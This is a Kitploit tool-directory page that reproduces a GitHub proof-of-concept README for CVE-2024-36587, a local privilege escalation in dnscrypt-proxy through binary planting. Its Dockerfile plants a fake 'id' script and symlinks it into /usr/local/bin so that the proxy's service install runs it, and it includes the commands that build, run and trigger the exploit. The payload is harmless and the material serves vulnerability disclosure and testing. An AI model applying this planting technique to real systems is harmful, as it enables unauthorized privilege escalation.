Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-36587 | Kitploit
Tools/GitHubGitHub/meeeeing/cve-2024-36587
Privilege EscalationContainer SecurityVulnerability AnalysisExploitationPenetration TestingBinary Exploitation
GitHubmeeeeing/cve-2024-36587

CVE-2024-36587

View Repository
1 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2024-36587 - dnscrypt-proxy Local Privilege Escalation

Overview

  • Vulnerability Description: When installing the dnscrypt-proxy service, it trusts and registers executables in the current directory, allowing privilege escalation by inserting a malicious binary.
  • Affected Versions: dnscrypt-proxy v2.0.0-alpha9 ~ v2.1.5
  • PoC Method: binary planting

Environment Setup

root@kitploit:~
docker compose up --build

Once the build and execution are complete, a container is created.

Access the container:

root@kitploit:~
docker run -it --privileged dnscrypt-poc-poc bash

Vulnerability Trigger

Inside the container:

root@kitploit:~
/tmp/id
cat /tmp/poc_was_here

If Pwned_from_Docker is output, the PoC is successful.

Configuration Files

Dockerfile

root@kitploit:~
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y \
    git \
    golang-go \
    sudo

WORKDIR /workspace

RUN git clone https://github.com/DNSCrypt/dnscrypt-proxy.git && \
    cd dnscrypt-proxy && \
    git checkout tags/2.1.0 && \
    go build -o proxy ./dnscrypt-proxy

RUN bash -c 'echo -e "#!/bin/bash\necho Pwned_from_Docker > /tmp/poc_was_here" > /tmp/id' && \
    chmod +x /tmp/id && \
    ln -sf /tmp/id /usr/local/bin/id

CMD ["./dnscrypt-proxy/proxy", "-service", "install"]

docker-compose.yaml

root@kitploit:~
version: "3.8"

services:
  poc:
    build: .
    container_name: dnscrypt-poc
    privileged: true
    tty: true

References

  • https://github.com/DNSCrypt/dnscrypt-proxy
  • https://nvd.nist.gov/vuln/detail/CVE-2024-36587

Practice Result Screenshot

docker build success

Detailed Report

For more detailed analysis and practice results, refer to the following PDF document:

PoC_Report_CVE-2024-36587.pdf

Download Tool